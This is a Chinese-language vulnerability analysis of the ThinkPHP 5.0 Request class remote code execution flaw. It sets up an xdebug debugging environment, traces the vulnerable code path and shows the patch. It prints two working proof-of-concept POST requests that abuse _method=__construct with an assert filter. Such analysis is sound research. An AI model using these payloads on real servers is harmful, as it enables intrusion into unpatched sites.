ThinkPHP5 核心类 Request 远程代码漏洞分析

时间:2023-03-08 21:30:28

ThinkPHP5 核心类 Request 远程代码漏洞分析

先说下xdebug+phpstorm审计环境搭建:

  • php.ini添加如下配置,在phpinfo页面验证是否添加成功。
[XDebug]
;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug"
;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug"
zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll"
xdebug.auto_trace = 1
xdebug.trace_format = 0
xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug"
xdebug.trace_options = 0 xdebug.collect_params = 4
xdebug.collect_return = 1
xdebug.collect_vars = 1
xdebug.collect_assignments = 1 xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_name="cache.out.%t-%s"
xdebug.profiler_output_dir="D:\phpstudy\tmp\XCache" xdebug.remote_enable = 1
xdebug.remote_enable = on
xdebug.remote_port = 9000
xdebug.remote_mode = "req"
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_autostart = on
xdebug.idekey="PHPSTORM"
  • 配置phpstorm设置里的Server

    ThinkPHP5 核心类 Request 远程代码漏洞分析
  • 配置phpstorm设置里的debug port端口和上面配置文件开放端口一致

    ThinkPHP5 核心类 Request 远程代码漏洞分析
  • 验证xdebug是否配置成功,注意create validation script选择网站根目录

    ThinkPHP5 核心类 Request 远程代码漏洞分析

    ThinkPHP5 核心类 Request 远程代码漏洞分析
  • 火狐浏览器下载插件并开启

    ThinkPHP5 核心类 Request 远程代码漏洞分析
  • phpstorm下断点并开启debug,浏览器访问就能在断点处停住

    ThinkPHP5 核心类 Request 远程代码漏洞分析

    参考链接:https://blog.csdn.net/flyingdream123/article/details/69358819

    版本使用的是5.0.2.3,需要开启debug模式先给出poc如下:
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1 _method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

主要就是method方法的问题,在这里下断,第一次method==false走到elseif分支this->method变量赋值为_CONSTRUCT。相当于调用当前类的构造函数,跟进

ThinkPHP5 核心类 Request 远程代码漏洞分析

构造函数意思是,如果当前类存在属性,就将其重新赋值。这里server,filter都被重新赋值

ThinkPHP5 核心类 Request 远程代码漏洞分析

跟到当前类的126行,调用param方法,这里debug设置为true才会走到if分支

ThinkPHP5 核心类 Request 远程代码漏洞分析

调用this->method(true)

ThinkPHP5 核心类 Request 远程代码漏洞分析

这次调用了method方法的if分支,跟入server方法

ThinkPHP5 核心类 Request 远程代码漏洞分析

server的值被传入input函数,跟入

ThinkPHP5 核心类 Request 远程代码漏洞分析

server值赋值给data,1026行获取过滤器的值,前面赋值为assert.继续跟到1032行filterValue函数

ThinkPHP5 核心类 Request 远程代码漏洞分析

这里导致命令执行

ThinkPHP5 核心类 Request 远程代码漏洞分析

看下补丁,this->method不让调用任意方法。

ThinkPHP5 核心类 Request 远程代码漏洞分析

还有一种payload不用debug模式也可以RCE:

POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1 _method=__construct&method=get&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

给filter变量赋值后,调用param方法就能导致RCE。

下面就是漏洞触发点的位置

ThinkPHP5 核心类 Request 远程代码漏洞分析

参考链接:https://paper.seebug.org/787/